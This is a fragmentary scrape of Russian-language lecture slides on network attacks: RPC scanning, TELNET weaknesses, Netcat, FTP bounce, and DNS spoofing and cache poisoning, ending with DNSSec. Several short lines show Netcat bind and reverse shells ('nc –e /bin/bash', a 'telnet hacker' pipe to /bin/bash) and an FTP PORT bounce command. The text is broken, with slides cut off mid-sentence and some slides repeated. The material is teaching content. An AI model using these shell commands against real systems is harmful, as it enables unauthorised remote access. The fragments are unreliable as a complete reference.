Слайд 42 DNS-сервер193.233.70.129 ertr.mpei.ac.ru..Кэш - таблицаDNS-серверследующего уровняDNS-запросDNS-ответ194.154.77.109

www.infosec.ruПример атаки на IP - сеть: Атака на

Слайд 43 DNS-сервер193.233.70.129 ertr.mpei.ac.ru..Кэш - таблицаDNS-серверследующего уровняDNS-запрос194.154.77.123

www.infosec.ruЛожные DNS - ответыПример атаки на IP -

Слайд 44 DNS-сервер193.233.70.129 ertr.mpei.ac.ru..Кэш - таблица194.154.77.123

www.infosec.ruХост А194.154.77.123www.infosec.ruDNS-запросDNS-ответПример атаки на IP - сеть: Атака на

Слайд 2 Клиент
Сервер
Протокол обмена
TELNET
FTP
HTTP
Реализация служб прикладного уровня
Уровень сетевого взаимодействия

X.25
и другие
Сетевой
уровень
IP
TCP, UDP
RPC

Слайд 4 Клиент
Сервер RPC
Протокол RPC
Спецификация RPC-сервера
Номер программы
Номер процедуры

Слайд 5 Клиент
Сервер RPC
Запрос клиента
Спецификация RPC-сервера
Номер программы
Номер процедуры

Номер версии
Номер порта

Слайд 6 Клиент
Сервер RPC
Номер процедуры
RPC-сканирование
Номер порта
Примеры утилит для RPC-сканирования
RPCScan

(Linux)
rpcdump (Windows)

Слайд 7 Клиент
(утилита telnet)
Сервер
(telnetd)
Протокол обмена
TELNET
Протокол удалённого терминала - TELNET

Слайд 8 Взаимодействие
«терминал-удалённый процесс»
Терминал – Серверный процесс
$a
a
a
a

Слайд 9 Команды протокола TELNET
Управляющий символ IAC
Команда
Параметры
Interpret as Command, равен

255
Например, клавиша Backspace, 247
1 байт
1 байт
1 байт

Слайд 10 Команды протокола TELNET
Название команды
Код
Описание команды
IP (Interrupt Process)
244
Прерывание

процесса
пользователя
AO (Abort Output)
245
Остановка вывода
на дисплей
AYT (Are You There)

Слайд 11 Передача команд
$a
IAC EC
Backspace
$

Слайд 12 Клиент
(утилита telnet)
Сервер
(telnetd)
Передача имени и пароля в открытом виде
Уязвимости

Слайд 13 Изменение переменных окружения до аутентификации
Уязвимости протокола TELNET
Клиент
(утилита telnet)
Сервер
(telnetd)

Слайд 14 Что такое Netcat?
Netcat - это утилита, которая позволяет

Слайд 15 Netcat и Telnet - клиент
Telnet - клиент имеет

ограничения, преодолеть которые поможет Netcat. Например:
Ограничения стандартного потока

Слайд 16 Режимы работы Netcat
Режим исходящих соединений
Режим ожидания входящих соединений
Слушающий

порт
nc [-опции] порт[ы]
nc –l –p [-опции]

Слайд 17 Варианты использования Netcat
Подключение к слушающему порту на удаленном

узле
Подключение с явным указанием порта источника
nc 200.2.2.222 80
nc –p

Слайд 18 Варианты использования Netcat
Открытие порта и подключение оболочки к

нему
nc –e /bin/bash
nc –e cmd.exe

Слайд 19 «Обращённый» TELNET
Это управление узлом через соединение, инициируемое с

Слайд 20 «Обращённый» TELNET
80
25
> telnet hacker 80
| /bin/bash |

telnet hacker 25
/bin/bash
Команды
Результаты

Слайд 21 Практическая работа 18
Утилита Netcat
«Обращённый» TELNET

передачи
данных

Слайд 23 Пассивный вариант работы FTP
Клиент
Сервер (ftpd)
команда PASV
Ответ с параметрами

(номер порта для подключения)
Открытие соединения

на указанный порт

Слайд 24 Предсказуемый номер порта
Клиент
Сервер (ftpd)
команда PASV
Ответ с параметрами

(номер

порта для подключения)
Открытие соединения

на указанный порт
Подключение раньше клиента

Слайд 25 Открытие большого количества портов
Сервер (ftpd)
команда PASV
Ответ с параметрами

(номер порта для подключения)
команда PASV
Ответ с параметрами

(номер порта

Слайд 26 Передача данных между двумя FTP-серверами
Сервер (ftpd)
Сервер (ftpd)
Передача большого

количества

данных
Управляющее соединение

Слайд 27 Атаки на сетевые службы при помощи FTP
Сервер FTP
Почтовый

сервер
Подключение с FTP-сервера
PORT 20,1,1,1,0,25
RETR
20.1.1.1
25

Слайд 28 telnet www.microsoft.com
Resolver
www.microsoft.com - ?
100.0.0.6
DNS Server
DNS - служба

Слайд 29 Домены и поддомены
« »
org
edu
com
company
sale
buhg
Root
Name
Server
company.com
Name Server
sale.company.com
Name Server

Слайд 30 Записи Resource Record
main.sale.company.com. IN A

100.0.0.120

sale
sale.company.com
Name Server
sale.company.com. IN NS

Слайд 31 Разрешение имён
R
e
s
o
l
v
e
r
main.sale.company.com - ?
main.sale.company.com - ?
main.sale.company.com - ?
main.sale.company.com

- ?
com Name Server
Root Server
company.com NS
sale.company.com NS

Слайд 32 Применение транспортного протокола
без установления соединения (UDP)
Отсутствие идентификации

и аутентификации
Отсутствие средств разграничения доступа
Уязвимости службы DNS

Слайд 33 Пример атаки на IP - сеть:
Атака на

DNS
Нарушение нормального функционирования объекта атаки
Местонахождение атакующего
В одном сегменте с

Слайд 34 Схема работы DNS - протокола
DNS-сервер
Хост А
IP -

адрес
ID
Имя компьютера
SourcePort
DNS-запрос
DNS-ответ
ID - генерируется приложением, пославшим запрос,
обычно=1
SourcePort вначале

Слайд 35 DNS-сервер
Хост А
ID
Имя компьютера
SourcePort
DNS-запрос
Хост А посылает DNS - запрос

Нарушитель должен находиться в одной
подсети с А или

Слайд 36 DNS-сервер
Хост А
DNS-запрос
Нарушитель извлекает из запроса ID и SourcePort
Ложный

DNS - ответ:
от имени настоящего DNS - сервера,
но в

Слайд 37 Хост А
Узел сети
Теперь путь пакета от хоста А

до узла сети
будет лежать через хост нарушителя
Пример атаки на

Слайд 38 Пример атаки на IP - сеть:
Атака на

DNS (вариант 2)
Нарушение нормального функционирования объекта атаки
Местонахождение атакующего
В разных

Слайд 39 DNS-сервер
Хост А
ID
IP - адрес
DestPort
Ложные DNS - ответы
Перебор
Пример

атаки на IP - сеть:
Атака на DNS (вариант

Слайд 40 DNS-сервер
Хост А
Ложные DNS - ответы
Пример атаки на IP

- сеть:
Атака на DNS (вариант 2)

Слайд 41 Хост А
Узел сети
Теперь путь пакета от хоста А

до узла сети
будет лежать через хост нарушителя
Пример атаки на

Слайд 42 DNS-сервер
193.233.70.129 ertr.mpei.ac.ru
.
.
Кэш - таблица
DNS-сервер
следующего уровня
DNS-запрос
DNS-ответ
194.154.77.109

www.infosec.ru
Пример атаки на IP - сеть:
Атака на

Слайд 43 DNS-сервер
193.233.70.129 ertr.mpei.ac.ru
.
.
Кэш - таблица
DNS-сервер
следующего уровня
DNS-запрос
194.154.77.123

www.infosec.ru
Ложные DNS - ответы
Пример атаки на IP -

Слайд 44 DNS-сервер
193.233.70.129 ertr.mpei.ac.ru
.
.
Кэш - таблица
194.154.77.123

www.infosec.ru
Хост А
194.154.77.123
www.infosec.ru
DNS-запрос
DNS-ответ
Пример атаки на IP - сеть:
Атака на

Слайд 45 DNS в корпоративной сети
Внешний узел
Вторичный
сервер
Внутренний
узел
Первичный

сервер
Репликация
Рекурсивный запрос
Рекурсивные
запросы
Итеративные
запросы
DNS
DNS

Слайд 46 DNS в корпоративной сети
Доступ узлов корпоративной сети к

полной
информации о внутренних именах
Доступ отдельных узлов корпоративной сети

сервер
(полная
версия)
DNS
DNS
DNS

Слайд 50 Протокол DNSSec
Механизм распределения открытых ключей
Целостность и аутентичность информации

DNS
Аутентификация транзакции

Слайд 51 Новые записи Resource Record
main.sale.company.com. IN